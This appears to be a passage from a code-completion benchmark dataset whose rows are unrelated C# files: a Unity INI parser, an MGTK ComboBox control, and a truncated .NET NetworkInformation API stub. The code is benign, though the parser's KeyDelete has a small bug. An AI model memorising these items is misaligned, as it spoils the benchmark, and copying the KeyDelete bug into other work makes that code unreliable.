context
stringlengths
2.52k
185k
gt
stringclasses
1 value
/******************************* Version: 1.0 Project Boon *******************************/ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Text; using UnityEngine; public class INIParser { #region "Declarations" // *** Error: In case there're errors, this will changed to some value other than 1 *** // Error codes: // 1: Null TextAsset public int error = 0; // *** Lock for thread-safe access to file and local cache *** private object m_Lock = new object(); // *** File name *** private string m_FileName = null; public string FileName { get { return m_FileName; } } // ** String represent Ini private string m_iniString = null; public string iniString { get { return m_iniString; } } // *** Automatic flushing flag *** private bool m_AutoFlush = false; // *** Local cache *** private Dictionary<string, Dictionary<string, string>> m_Sections = new Dictionary<string, Dictionary<string, string>>(); private Dictionary<string, Dictionary<string, string>> m_Modified = new Dictionary<string, Dictionary<string, string>>(); // *** Local cache modified flag *** private bool m_CacheModified = false; #endregion #region "Methods" // *** Open ini file by path *** public void Open(string path) { m_FileName = path; if (File.Exists(m_FileName)) { m_iniString = File.ReadAllText(m_FileName); } else { //If file does not exist, create one var temp = File.Create(m_FileName); temp.Close(); m_iniString = ""; } Initialize(m_iniString, false); } // *** Open ini file by TextAsset: All changes is saved to local storage *** public void Open(TextAsset name) { if (name == null) { // In case null asset, treat as opened an empty file error = 1; m_iniString = ""; m_FileName = null; Initialize(m_iniString, false); } else { m_FileName = Application.persistentDataPath + name.name; //*** Find the TextAsset in the local storage first *** if (File.Exists(m_FileName)) { m_iniString = File.ReadAllText(m_FileName); } else m_iniString = name.text; Initialize(m_iniString, false); } } // *** Open ini file from string *** public void OpenFromString(string str) { m_FileName = null; Initialize(str, false); } // *** Get the string content of ini file *** public override string ToString() { return m_iniString; } private void Initialize(string iniString, bool AutoFlush) { m_iniString = iniString; m_AutoFlush = AutoFlush; Refresh(); } // *** Close, save all changes to ini file *** public void Close() { lock (m_Lock) { PerformFlush(); //Clean up memory m_FileName = null; m_iniString = null; } } // *** Parse section name *** private string ParseSectionName(string Line) { if (!Line.StartsWith("[")) return null; if (!Line.EndsWith("]")) return null; if (Line.Length < 3) return null; return Line.Substring(1, Line.Length - 2); } // *** Parse key+value pair *** private bool ParseKeyValuePair(string Line, ref string Key, ref string Value) { // *** Check for key+value pair *** int i; if ((i = Line.IndexOf('=')) <= 0) return false; int j = Line.Length - i - 1; Key = Line.Substring(0, i).Trim(); if (Key.Length <= 0) return false; Value = (j > 0) ? (Line.Substring(i + 1, j).Trim()) : (""); return true; } // *** If a line is neither SectionName nor key+value pair, it's a comment *** private bool isComment(string Line) { string tmpKey = null, tmpValue = null; if (ParseSectionName(Line) != null) return false; if (ParseKeyValuePair(Line, ref tmpKey, ref tmpValue)) return false; return true; } // *** Read file contents into local cache *** private void Refresh() { lock (m_Lock) { StringReader sr = null; try { // *** Clear local cache *** m_Sections.Clear(); m_Modified.Clear(); // *** String Reader *** sr = new StringReader(m_iniString); // *** Read up the file content *** Dictionary<string, string> CurrentSection = null; string s; string SectionName; string Key = null; string Value = null; while ((s = sr.ReadLine()) != null) { s = s.Trim(); // *** Check for section names *** SectionName = ParseSectionName(s); if (SectionName != null) { // *** Only first occurrence of a section is loaded *** if (m_Sections.ContainsKey(SectionName)) { CurrentSection = null; } else { CurrentSection = new Dictionary<string, string>(); m_Sections.Add(SectionName, CurrentSection); } } else if (CurrentSection != null) { // *** Check for key+value pair *** if (ParseKeyValuePair(s, ref Key, ref Value)) { // *** Only first occurrence of a key is loaded *** if (!CurrentSection.ContainsKey(Key)) { CurrentSection.Add(Key, Value); } } } } } finally { // *** Cleanup: close file *** if (sr != null) sr.Close(); sr = null; } } } private void PerformFlush() { // *** If local cache was not modified, exit *** if (!m_CacheModified) return; m_CacheModified = false; // *** Copy content of original iniString to temporary string, replace modified values *** StringWriter sw = new StringWriter(); try { Dictionary<string, string> CurrentSection = null; Dictionary<string, string> CurrentSection2 = null; StringReader sr = null; try { // *** Open the original file *** sr = new StringReader(m_iniString); // *** Read the file original content, replace changes with local cache values *** string s; string SectionName; string Key = null; string Value = null; bool Unmodified; bool Reading = true; bool Deleted = false; string Key2 = null; string Value2 = null; StringBuilder sb_temp; while (Reading) { s = sr.ReadLine(); Reading = (s != null); // *** Check for end of iniString *** if (Reading) { Unmodified = true; s = s.Trim(); SectionName = ParseSectionName(s); } else { Unmodified = false; SectionName = null; } // *** Check for section names *** if ((SectionName != null) || (!Reading)) { if (CurrentSection != null) { // *** Write all remaining modified values before leaving a section **** if (CurrentSection.Count > 0) { // *** Optional: All blank lines before new values and sections are removed **** sb_temp = sw.GetStringBuilder(); while ((sb_temp[sb_temp.Length - 1] == '\n') || (sb_temp[sb_temp.Length - 1] == '\r')) { sb_temp.Length = sb_temp.Length - 1; } sw.WriteLine(); foreach (string fkey in CurrentSection.Keys) { if (CurrentSection.TryGetValue(fkey, out Value)) { sw.Write(fkey); sw.Write('='); sw.WriteLine(Value); } } sw.WriteLine(); CurrentSection.Clear(); } } if (Reading) { // *** Check if current section is in local modified cache *** if (!m_Modified.TryGetValue(SectionName, out CurrentSection)) { CurrentSection = null; } } } else if (CurrentSection != null) { // *** Check for key+value pair *** if (ParseKeyValuePair(s, ref Key, ref Value)) { if (CurrentSection.TryGetValue(Key, out Value)) { // *** Write modified value to temporary file *** Unmodified = false; CurrentSection.Remove(Key); sw.Write(Key); sw.Write('='); sw.WriteLine(Value); } } } // ** Check if the section/key in current line has been deleted *** if (Unmodified) { if (SectionName != null) { if (!m_Sections.ContainsKey(SectionName)) { Deleted = true; CurrentSection2 = null; } else { Deleted = false; m_Sections.TryGetValue(SectionName, out CurrentSection2); } } else if (CurrentSection2 != null) { if (ParseKeyValuePair(s, ref Key2, ref Value2)) { if (!CurrentSection2.ContainsKey(Key2)) Deleted = true; else Deleted = false; } } } // *** Write unmodified lines from the original iniString *** if (Unmodified) { if (isComment(s)) sw.WriteLine(s); else if (!Deleted) sw.WriteLine(s); } } // *** Close string reader *** sr.Close(); sr = null; } finally { // *** Cleanup: close string reader *** if (sr != null) sr.Close(); sr = null; } // *** Cycle on all remaining modified values *** foreach (KeyValuePair<string, Dictionary<string, string>> SectionPair in m_Modified) { CurrentSection = SectionPair.Value; if (CurrentSection.Count > 0) { if (!string.IsNullOrEmpty(sw.ToString())) sw.WriteLine(); // *** Write the section name *** sw.Write('['); sw.Write(SectionPair.Key); sw.WriteLine(']'); // *** Cycle on all key+value pairs in the section *** foreach (KeyValuePair<string, string> ValuePair in CurrentSection) { // *** Write the key+value pair *** sw.Write(ValuePair.Key); sw.Write('='); sw.WriteLine(ValuePair.Value); } CurrentSection.Clear(); } } m_Modified.Clear(); // *** Get result to iniString *** m_iniString = sw.ToString(); sw.Close(); sw = null; // ** Write iniString to file *** if (m_FileName != null) { File.WriteAllText(m_FileName, m_iniString); } } finally { // *** Cleanup: close string writer *** if (sw != null) sw.Close(); sw = null; } } // *** Check if the section exists *** public bool IsSectionExists(string SectionName) { return m_Sections.ContainsKey(SectionName); } // *** Check if the key exists *** public bool IsKeyExists(string SectionName, string Key) { Dictionary<string, string> Section; // *** Check if the section exists *** if (m_Sections.ContainsKey(SectionName)) { m_Sections.TryGetValue(SectionName, out Section); // If the key exists return Section.ContainsKey(Key); } else return false; } // *** Delete a section in local cache *** public void SectionDelete(string SectionName) { // *** Delete section if exists *** if (IsSectionExists(SectionName)) { lock (m_Lock) { m_CacheModified = true; m_Sections.Remove(SectionName); //Also delete in modified cache if exist m_Modified.Remove(SectionName); // *** Automatic flushing : immediately write any modification to the file *** if (m_AutoFlush) PerformFlush(); } } } // *** Delete a key in local cache *** public void KeyDelete(string SectionName, string Key) { Dictionary<string, string> Section; //Delete key if exists if (IsKeyExists(SectionName, Key)) { lock (m_Lock) { m_CacheModified = true; m_Sections.TryGetValue(SectionName, out Section); Section.Remove(Key); //Also delete in modified cache if exist if (m_Modified.TryGetValue(SectionName, out Section)) Section.Remove(SectionName); // *** Automatic flushing : immediately write any modification to the file *** if (m_AutoFlush) PerformFlush(); } } } // *** Read a value from local cache *** public string ReadValue(string SectionName, string Key, string DefaultValue) { lock (m_Lock) { // *** Check if the section exists *** Dictionary<string, string> Section; if (!m_Sections.TryGetValue(SectionName, out Section)) return DefaultValue; // *** Check if the key exists *** string Value; if (!Section.TryGetValue(Key, out Value)) return DefaultValue; // *** Return the found value *** return Value; } } // *** Insert or modify a value in local cache *** public void WriteValue(string SectionName, string Key, string Value) { lock (m_Lock) { // *** Flag local cache modification *** m_CacheModified = true; // *** Check if the section exists *** Dictionary<string, string> Section; if (!m_Sections.TryGetValue(SectionName, out Section)) { // *** If it doesn't, add it *** Section = new Dictionary<string, string>(); m_Sections.Add(SectionName, Section); } // *** Modify the value *** if (Section.ContainsKey(Key)) Section.Remove(Key); Section.Add(Key, Value); // *** Add the modified value to local modified values cache *** if (!m_Modified.TryGetValue(SectionName, out Section)) { Section = new Dictionary<string, string>(); m_Modified.Add(SectionName, Section); } if (Section.ContainsKey(Key)) Section.Remove(Key); Section.Add(Key, Value); // *** Automatic flushing : immediately write any modification to the file *** if (m_AutoFlush) PerformFlush(); } } // *** Encode byte array *** private string EncodeByteArray(byte[] Value) { if (Value == null) return null; StringBuilder sb = new StringBuilder(); foreach (byte b in Value) { string hex = Convert.ToString(b, 16); int l = hex.Length; if (l > 2) { sb.Append(hex.Substring(l - 2, 2)); } else { if (l < 2) sb.Append("0"); sb.Append(hex); } } return sb.ToString(); } // *** Decode byte array *** private byte[] DecodeByteArray(string Value) { if (Value == null) return null; int l = Value.Length; if (l < 2) return new byte[] { }; l /= 2; byte[] Result = new byte[l]; for (int i = 0; i < l; i++) Result[i] = Convert.ToByte(Value.Substring(i * 2, 2), 16); return Result; } // *** Getters for various types *** public bool ReadValue(string SectionName, string Key, bool DefaultValue) { string StringValue = ReadValue(SectionName, Key, DefaultValue.ToString(System.Globalization.CultureInfo.InvariantCulture)); int Value; if (int.TryParse(StringValue, out Value)) return (Value != 0); return DefaultValue; } public int ReadValue(string SectionName, string Key, int DefaultValue) { string StringValue = ReadValue(SectionName, Key, DefaultValue.ToString(CultureInfo.InvariantCulture)); int Value; if (int.TryParse(StringValue, NumberStyles.Any, CultureInfo.InvariantCulture, out Value)) return Value; return DefaultValue; } public long ReadValue(string SectionName, string Key, long DefaultValue) { string StringValue = ReadValue(SectionName, Key, DefaultValue.ToString(CultureInfo.InvariantCulture)); long Value; if (long.TryParse(StringValue, NumberStyles.Any, CultureInfo.InvariantCulture, out Value)) return Value; return DefaultValue; } public double ReadValue(string SectionName, string Key, double DefaultValue) { string StringValue = ReadValue(SectionName, Key, DefaultValue.ToString(CultureInfo.InvariantCulture)); double Value; if (double.TryParse(StringValue, NumberStyles.Any, CultureInfo.InvariantCulture, out Value)) return Value; return DefaultValue; } public byte[] ReadValue(string SectionName, string Key, byte[] DefaultValue) { string StringValue = ReadValue(SectionName, Key, EncodeByteArray(DefaultValue)); try { return DecodeByteArray(StringValue); } catch (FormatException) { return DefaultValue; } } public DateTime ReadValue(string SectionName, string Key, DateTime DefaultValue) { string StringValue = ReadValue(SectionName, Key, DefaultValue.ToString(CultureInfo.InvariantCulture)); DateTime Value; if (DateTime.TryParse(StringValue, CultureInfo.InvariantCulture, DateTimeStyles.AllowWhiteSpaces | DateTimeStyles.NoCurrentDateDefault | DateTimeStyles.AssumeLocal, out Value)) return Value; return DefaultValue; } // *** Setters for various types *** public void WriteValue(string SectionName, string Key, bool Value) { WriteValue(SectionName, Key, (Value) ? ("1") : ("0")); } public void WriteValue(string SectionName, string Key, int Value) { WriteValue(SectionName, Key, Value.ToString(CultureInfo.InvariantCulture)); } public void WriteValue(string SectionName, string Key, long Value) { WriteValue(SectionName, Key, Value.ToString(CultureInfo.InvariantCulture)); } public void WriteValue(string SectionName, string Key, double Value) { WriteValue(SectionName, Key, Value.ToString(CultureInfo.InvariantCulture)); } public void WriteValue(string SectionName, string Key, byte[] Value) { WriteValue(SectionName, Key, EncodeByteArray(Value)); } public void WriteValue(string SectionName, string Key, DateTime Value) { WriteValue(SectionName, Key, Value.ToString(CultureInfo.InvariantCulture)); } /******* Custom stuff *************/ public enum Formatting { Default, // Leaves strings as is Whitespaced, // Adds whitespace after keys and before values if there aren't already } public string GetSectionValues(string[] SectionNames, Formatting formatting = Formatting.Default) { StringBuilder sb = new StringBuilder(); foreach (var SectionName in SectionNames) { Dictionary<string, string> Section; if (!m_Sections.TryGetValue(SectionName, out Section)) { continue; } foreach (var keyVal in Section) { if (keyVal.Key.Trim() != string.Empty) { switch (formatting) { case Formatting.Whitespaced: { sb.Append(keyVal.Key.Trim()); sb.Append(" = "); sb.AppendLine(keyVal.Value.Trim()); } break; case Formatting.Default: default: { sb.Append(keyVal.Key); sb.Append('='); sb.AppendLine(keyVal.Value); } break; } } } } return sb.ToString(); } public bool IsEmpty { get { foreach (var keyVal in m_Sections) { if (keyVal.Value.Count > 0) { return false; } } return true; } } // Copies all data from the ini passed into this public void WriteValue(INIParser that) { // Clear all previous data List<string> sectionsToDelete = new List<string>(); foreach (var Section in m_Sections) { sectionsToDelete.Add(Section.Key); } foreach (var Section in sectionsToDelete) { SectionDelete(Section); } foreach (var Section in that.m_Sections) { foreach (var SectionVal in Section.Value) { WriteValue(Section.Key, SectionVal.Key, SectionVal.Value); } } } #endregion }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Audio; using Microsoft.Xna.Framework.Content; using Microsoft.Xna.Framework.GamerServices; using Microsoft.Xna.Framework.Graphics; using Microsoft.Xna.Framework.Input; using Microsoft.Xna.Framework.Media; using MGTK.EventArguments; using MGTK.Services; using MGTK.Messaging; namespace MGTK.Controls { public class ComboBox : Control { protected InnerTextBox innerTextBox; protected ListBox listBox; protected Button btnExpand; protected int InitialWidth; protected int InitialHeight; protected int ListBoxHeight = 64; protected bool ShowingListBox = false; private int MsToNextIndex = 150; private double LastUpdateIndexChange; public object SelectedValue { get { return listBox.SelectedValue; } } public int SelectedIndex { get { return listBox.SelectedIndex; } set { listBox.SelectedIndex = value; } } public List<ListBoxItem> Items { get { return listBox.Items; } set { listBox.Items = value; } } public event EventHandler SelectedIndexChanged; public ComboBox(Form formowner) : base(formowner) { btnExpand = new Button(formowner); listBox = new ListBox(formowner); innerTextBox = new InnerTextBox(formowner); btnExpand.Parent = listBox.Parent = innerTextBox.Parent = this; innerTextBox.MultiLine = false; btnExpand.Image = Theme.ComboButton; btnExpand.Click += new EventHandler(btnExpand_Click); listBox.ListItemClick += new EventHandler(listBox_ListItemClick); listBox.SelectedIndexChanged += new EventHandler(listBox_SelectedIndexChanged); listBox.KeyDown += new ControlKeyEventHandler(listBox_KeyDown); this.Controls.AddRange(new Control[] { btnExpand, listBox, innerTextBox }); this.Init += new EventHandler(ComboBox_Init); this.WidthChanged += new EventHandler(ComboBox_SizeChanged); this.HeightChanged += new EventHandler(ComboBox_SizeChanged); this.KeyDown += new ControlKeyEventHandler(ComboBox_KeyDown); innerTextBox.KeyDown += new ControlKeyEventHandler(ComboBox_KeyDown); } void listBox_ListItemClick(object sender, EventArgs e) { SelectListItem(); } void listBox_SelectedIndexChanged(object sender, EventArgs e) { if (SelectedIndexChanged != null) SelectedIndexChanged(this, new EventArgs()); //SelectListItem(); } private void SelectListItem() { ToggleListBox(false); innerTextBox.Text = listBox.Items[listBox.SelectedIndex].Text; innerTextBox.ScrollX = 0; innerTextBox.CursorX = 0; } public override bool ReceiveMessage(MessageEnum message, object msgTag) { if (message == MessageEnum.MouseLeftPressed) if (!MouseIsOnControl(false)) ToggleListBox(false); return base.ReceiveMessage(message, msgTag); } void listBox_KeyDown(object sender, ControlKeyEventArgs e) { if (e.Key == Keys.Enter) { SelectListItem(); } } void btnExpand_Click(object sender, EventArgs e) { btnExpand.Focused = false; ToggleListBox(!ShowingListBox); } void ComboBox_KeyDown(object sender, ControlKeyEventArgs e) { if (e.Key == Keys.Up || e.Key == Keys.Down) { if (gameTime.TotalGameTime.TotalMilliseconds - LastUpdateIndexChange > MsToNextIndex) { SelectedIndex += e.Key == Keys.Up ? -1 : 1; LastUpdateIndexChange = gameTime.TotalGameTime.TotalMilliseconds; } } } void ComboBox_SizeChanged(object sender, EventArgs e) { if (!ShowingListBox) { InitialWidth = this.Width; InitialHeight = this.Height; } } void ComboBox_Init(object sender, EventArgs e) { ConfigureCoordinatesAndSizes(); } public override void Draw() { DrawingService.DrawFrame(spriteBatch, Theme.ComboFrame, OwnerX + X, OwnerY + Y, InitialWidth, InitialHeight, Z - 0.001f); base.Draw(); } public override void Update() { btnExpand.Z = Z - 0.0015f; listBox.Z = Z - 0.0015f; base.Update(); } public void ToggleListBox(bool Show) { ShowingListBox = Show; listBox.Visible = Show; if (Show) { listBox.Y = InitialHeight; InitialHeight = Height; listBox.Focus(); btnExpand.Anchor = AnchorStyles.Top | AnchorStyles.Right; innerTextBox.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; } else { btnExpand.Anchor = AnchorStyles.Top | AnchorStyles.Left; innerTextBox.Anchor = AnchorStyles.Top | AnchorStyles.Left; } Height = (Show ? ListBoxHeight : 0) + InitialHeight; if (!Show) { btnExpand.Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Top; innerTextBox.Anchor = AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Top; } } private void ConfigureCoordinatesAndSizes() { listBox.X = 0; listBox.Y = InitialHeight; listBox.Width = InitialWidth; listBox.Height = ListBoxHeight; listBox.Visible = false; listBox.Anchor = AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Top; btnExpand.Y = 2; btnExpand.Height = InitialHeight - 4; btnExpand.Width = btnExpand.Height; btnExpand.X = InitialWidth - btnExpand.Width - 2; btnExpand.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Right; innerTextBox.Y = 2; innerTextBox.X = 2; innerTextBox.Width = InitialWidth - btnExpand.Width - 2 - 3; innerTextBox.Height = InitialHeight - 4; innerTextBox.Anchor = AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top | AnchorStyles.Bottom; } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. // ------------------------------------------------------------------------------ // Changes to this file must follow the http://aka.ms/api-review process. // ------------------------------------------------------------------------------ namespace System.Net.NetworkInformation { public enum DuplicateAddressDetectionState { Deprecated = 3, Duplicate = 2, Invalid = 0, Preferred = 4, Tentative = 1, } public abstract partial class GatewayIPAddressInformation { protected GatewayIPAddressInformation() { } public abstract System.Net.IPAddress Address { get; } } public partial class GatewayIPAddressInformationCollection : System.Collections.Generic.ICollection<System.Net.NetworkInformation.GatewayIPAddressInformation>, System.Collections.Generic.IEnumerable<System.Net.NetworkInformation.GatewayIPAddressInformation>, System.Collections.IEnumerable { protected internal GatewayIPAddressInformationCollection() { } public virtual int Count { get { return default(int); } } public virtual bool IsReadOnly { get { return default(bool); } } public virtual System.Net.NetworkInformation.GatewayIPAddressInformation this[int index] { get { return default(System.Net.NetworkInformation.GatewayIPAddressInformation); } } public virtual void Add(System.Net.NetworkInformation.GatewayIPAddressInformation address) { } public virtual void Clear() { } public virtual bool Contains(System.Net.NetworkInformation.GatewayIPAddressInformation address) { return default(bool); } public virtual void CopyTo(System.Net.NetworkInformation.GatewayIPAddressInformation[] array, int offset) { } public virtual System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.GatewayIPAddressInformation> GetEnumerator() { return default(System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.GatewayIPAddressInformation>); } public virtual bool Remove(System.Net.NetworkInformation.GatewayIPAddressInformation address) { return default(bool); } System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() { return default(System.Collections.IEnumerator); } } public abstract partial class IcmpV4Statistics { protected IcmpV4Statistics() { } public abstract long AddressMaskRepliesReceived { get; } public abstract long AddressMaskRepliesSent { get; } public abstract long AddressMaskRequestsReceived { get; } public abstract long AddressMaskRequestsSent { get; } public abstract long DestinationUnreachableMessagesReceived { get; } public abstract long DestinationUnreachableMessagesSent { get; } public abstract long EchoRepliesReceived { get; } public abstract long EchoRepliesSent { get; } public abstract long EchoRequestsReceived { get; } public abstract long EchoRequestsSent { get; } public abstract long ErrorsReceived { get; } public abstract long ErrorsSent { get; } public abstract long MessagesReceived { get; } public abstract long MessagesSent { get; } public abstract long ParameterProblemsReceived { get; } public abstract long ParameterProblemsSent { get; } public abstract long RedirectsReceived { get; } public abstract long RedirectsSent { get; } public abstract long SourceQuenchesReceived { get; } public abstract long SourceQuenchesSent { get; } public abstract long TimeExceededMessagesReceived { get; } public abstract long TimeExceededMessagesSent { get; } public abstract long TimestampRepliesReceived { get; } public abstract long TimestampRepliesSent { get; } public abstract long TimestampRequestsReceived { get; } public abstract long TimestampRequestsSent { get; } } public abstract partial class IcmpV6Statistics { protected IcmpV6Statistics() { } public abstract long DestinationUnreachableMessagesReceived { get; } public abstract long DestinationUnreachableMessagesSent { get; } public abstract long EchoRepliesReceived { get; } public abstract long EchoRepliesSent { get; } public abstract long EchoRequestsReceived { get; } public abstract long EchoRequestsSent { get; } public abstract long ErrorsReceived { get; } public abstract long ErrorsSent { get; } public abstract long MembershipQueriesReceived { get; } public abstract long MembershipQueriesSent { get; } public abstract long MembershipReductionsReceived { get; } public abstract long MembershipReductionsSent { get; } public abstract long MembershipReportsReceived { get; } public abstract long MembershipReportsSent { get; } public abstract long MessagesReceived { get; } public abstract long MessagesSent { get; } public abstract long NeighborAdvertisementsReceived { get; } public abstract long NeighborAdvertisementsSent { get; } public abstract long NeighborSolicitsReceived { get; } public abstract long NeighborSolicitsSent { get; } public abstract long PacketTooBigMessagesReceived { get; } public abstract long PacketTooBigMessagesSent { get; } public abstract long ParameterProblemsReceived { get; } public abstract long ParameterProblemsSent { get; } public abstract long RedirectsReceived { get; } public abstract long RedirectsSent { get; } public abstract long RouterAdvertisementsReceived { get; } public abstract long RouterAdvertisementsSent { get; } public abstract long RouterSolicitsReceived { get; } public abstract long RouterSolicitsSent { get; } public abstract long TimeExceededMessagesReceived { get; } public abstract long TimeExceededMessagesSent { get; } } public abstract partial class IPAddressInformation { protected IPAddressInformation() { } public abstract System.Net.IPAddress Address { get; } public abstract bool IsDnsEligible { get; } public abstract bool IsTransient { get; } } public partial class IPAddressInformationCollection : System.Collections.Generic.ICollection<System.Net.NetworkInformation.IPAddressInformation>, System.Collections.Generic.IEnumerable<System.Net.NetworkInformation.IPAddressInformation>, System.Collections.IEnumerable { internal IPAddressInformationCollection() { } public virtual int Count { get { return default(int); } } public virtual bool IsReadOnly { get { return default(bool); } } public virtual System.Net.NetworkInformation.IPAddressInformation this[int index] { get { return default(System.Net.NetworkInformation.IPAddressInformation); } } public virtual void Add(System.Net.NetworkInformation.IPAddressInformation address) { } public virtual void Clear() { } public virtual bool Contains(System.Net.NetworkInformation.IPAddressInformation address) { return default(bool); } public virtual void CopyTo(System.Net.NetworkInformation.IPAddressInformation[] array, int offset) { } public virtual System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.IPAddressInformation> GetEnumerator() { return default(System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.IPAddressInformation>); } public virtual bool Remove(System.Net.NetworkInformation.IPAddressInformation address) { return default(bool); } System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() { return default(System.Collections.IEnumerator); } } public abstract partial class IPGlobalProperties { protected IPGlobalProperties() { } public abstract string DhcpScopeName { get; } public abstract string DomainName { get; } public abstract string HostName { get; } public abstract bool IsWinsProxy { get; } public abstract System.Net.NetworkInformation.NetBiosNodeType NodeType { get; } public virtual System.IAsyncResult BeginGetUnicastAddresses(System.AsyncCallback callback, object state) { throw null; } public virtual System.Net.NetworkInformation.UnicastIPAddressInformationCollection EndGetUnicastAddresses(System.IAsyncResult asyncResult) { throw null; } public abstract System.Net.NetworkInformation.TcpConnectionInformation[] GetActiveTcpConnections(); public abstract System.Net.IPEndPoint[] GetActiveTcpListeners(); public abstract System.Net.IPEndPoint[] GetActiveUdpListeners(); public abstract System.Net.NetworkInformation.IcmpV4Statistics GetIcmpV4Statistics(); public abstract System.Net.NetworkInformation.IcmpV6Statistics GetIcmpV6Statistics(); public static System.Net.NetworkInformation.IPGlobalProperties GetIPGlobalProperties() { return default(System.Net.NetworkInformation.IPGlobalProperties); } public abstract System.Net.NetworkInformation.IPGlobalStatistics GetIPv4GlobalStatistics(); public abstract System.Net.NetworkInformation.IPGlobalStatistics GetIPv6GlobalStatistics(); public abstract System.Net.NetworkInformation.TcpStatistics GetTcpIPv4Statistics(); public abstract System.Net.NetworkInformation.TcpStatistics GetTcpIPv6Statistics(); public abstract System.Net.NetworkInformation.UdpStatistics GetUdpIPv4Statistics(); public abstract System.Net.NetworkInformation.UdpStatistics GetUdpIPv6Statistics(); public virtual System.Net.NetworkInformation.UnicastIPAddressInformationCollection GetUnicastAddresses() { throw null; } public virtual System.Threading.Tasks.Task<System.Net.NetworkInformation.UnicastIPAddressInformationCollection> GetUnicastAddressesAsync() { return default(System.Threading.Tasks.Task<System.Net.NetworkInformation.UnicastIPAddressInformationCollection>); } } public abstract partial class IPGlobalStatistics { protected IPGlobalStatistics() { } public abstract int DefaultTtl { get; } public abstract bool ForwardingEnabled { get; } public abstract int NumberOfInterfaces { get; } public abstract int NumberOfIPAddresses { get; } public abstract int NumberOfRoutes { get; } public abstract long OutputPacketRequests { get; } public abstract long OutputPacketRoutingDiscards { get; } public abstract long OutputPacketsDiscarded { get; } public abstract long OutputPacketsWithNoRoute { get; } public abstract long PacketFragmentFailures { get; } public abstract long PacketReassembliesRequired { get; } public abstract long PacketReassemblyFailures { get; } public abstract long PacketReassemblyTimeout { get; } public abstract long PacketsFragmented { get; } public abstract long PacketsReassembled { get; } public abstract long ReceivedPackets { get; } public abstract long ReceivedPacketsDelivered { get; } public abstract long ReceivedPacketsDiscarded { get; } public abstract long ReceivedPacketsForwarded { get; } public abstract long ReceivedPacketsWithAddressErrors { get; } public abstract long ReceivedPacketsWithHeadersErrors { get; } public abstract long ReceivedPacketsWithUnknownProtocol { get; } } public abstract partial class IPInterfaceProperties { protected IPInterfaceProperties() { } public abstract System.Net.NetworkInformation.IPAddressInformationCollection AnycastAddresses { get; } public abstract System.Net.NetworkInformation.IPAddressCollection DhcpServerAddresses { get; } public abstract System.Net.NetworkInformation.IPAddressCollection DnsAddresses { get; } public abstract string DnsSuffix { get; } public abstract System.Net.NetworkInformation.GatewayIPAddressInformationCollection GatewayAddresses { get; } public abstract bool IsDnsEnabled { get; } public abstract bool IsDynamicDnsEnabled { get; } public abstract System.Net.NetworkInformation.MulticastIPAddressInformationCollection MulticastAddresses { get; } public abstract System.Net.NetworkInformation.UnicastIPAddressInformationCollection UnicastAddresses { get; } public abstract System.Net.NetworkInformation.IPAddressCollection WinsServersAddresses { get; } public abstract System.Net.NetworkInformation.IPv4InterfaceProperties GetIPv4Properties(); public abstract System.Net.NetworkInformation.IPv6InterfaceProperties GetIPv6Properties(); } public abstract partial class IPInterfaceStatistics { protected IPInterfaceStatistics() { } public abstract long BytesReceived { get; } public abstract long BytesSent { get; } public abstract long IncomingPacketsDiscarded { get; } public abstract long IncomingPacketsWithErrors { get; } public abstract long IncomingUnknownProtocolPackets { get; } public abstract long NonUnicastPacketsReceived { get; } public abstract long NonUnicastPacketsSent { get; } public abstract long OutgoingPacketsDiscarded { get; } public abstract long OutgoingPacketsWithErrors { get; } public abstract long OutputQueueLength { get; } public abstract long UnicastPacketsReceived { get; } public abstract long UnicastPacketsSent { get; } } public abstract partial class IPv4InterfaceStatistics { protected IPv4InterfaceStatistics() { } public abstract long BytesReceived { get; } public abstract long BytesSent { get; } public abstract long IncomingPacketsDiscarded { get; } public abstract long IncomingPacketsWithErrors { get; } public abstract long IncomingUnknownProtocolPackets { get; } public abstract long NonUnicastPacketsReceived { get; } public abstract long NonUnicastPacketsSent { get; } public abstract long OutgoingPacketsDiscarded { get; } public abstract long OutgoingPacketsWithErrors { get; } public abstract long OutputQueueLength { get; } public abstract long UnicastPacketsReceived { get; } public abstract long UnicastPacketsSent { get; } } public abstract partial class IPv4InterfaceProperties { protected IPv4InterfaceProperties() { } public abstract int Index { get; } public abstract bool IsAutomaticPrivateAddressingActive { get; } public abstract bool IsAutomaticPrivateAddressingEnabled { get; } public abstract bool IsDhcpEnabled { get; } public abstract bool IsForwardingEnabled { get; } public abstract int Mtu { get; } public abstract bool UsesWins { get; } } public abstract partial class IPv6InterfaceProperties { protected IPv6InterfaceProperties() { } public abstract int Index { get; } public abstract int Mtu { get; } public virtual long GetScopeId(System.Net.NetworkInformation.ScopeLevel scopeLevel) { return default(long); } } public abstract partial class MulticastIPAddressInformation : System.Net.NetworkInformation.IPAddressInformation { protected MulticastIPAddressInformation() { } public abstract long AddressPreferredLifetime { get; } public abstract long AddressValidLifetime { get; } public abstract long DhcpLeaseLifetime { get; } public abstract System.Net.NetworkInformation.DuplicateAddressDetectionState DuplicateAddressDetectionState { get; } public abstract System.Net.NetworkInformation.PrefixOrigin PrefixOrigin { get; } public abstract System.Net.NetworkInformation.SuffixOrigin SuffixOrigin { get; } } public partial class MulticastIPAddressInformationCollection : System.Collections.Generic.ICollection<System.Net.NetworkInformation.MulticastIPAddressInformation>, System.Collections.Generic.IEnumerable<System.Net.NetworkInformation.MulticastIPAddressInformation>, System.Collections.IEnumerable { protected internal MulticastIPAddressInformationCollection() { } public virtual int Count { get { return default(int); } } public virtual bool IsReadOnly { get { return default(bool); } } public virtual System.Net.NetworkInformation.MulticastIPAddressInformation this[int index] { get { return default(System.Net.NetworkInformation.MulticastIPAddressInformation); } } public virtual void 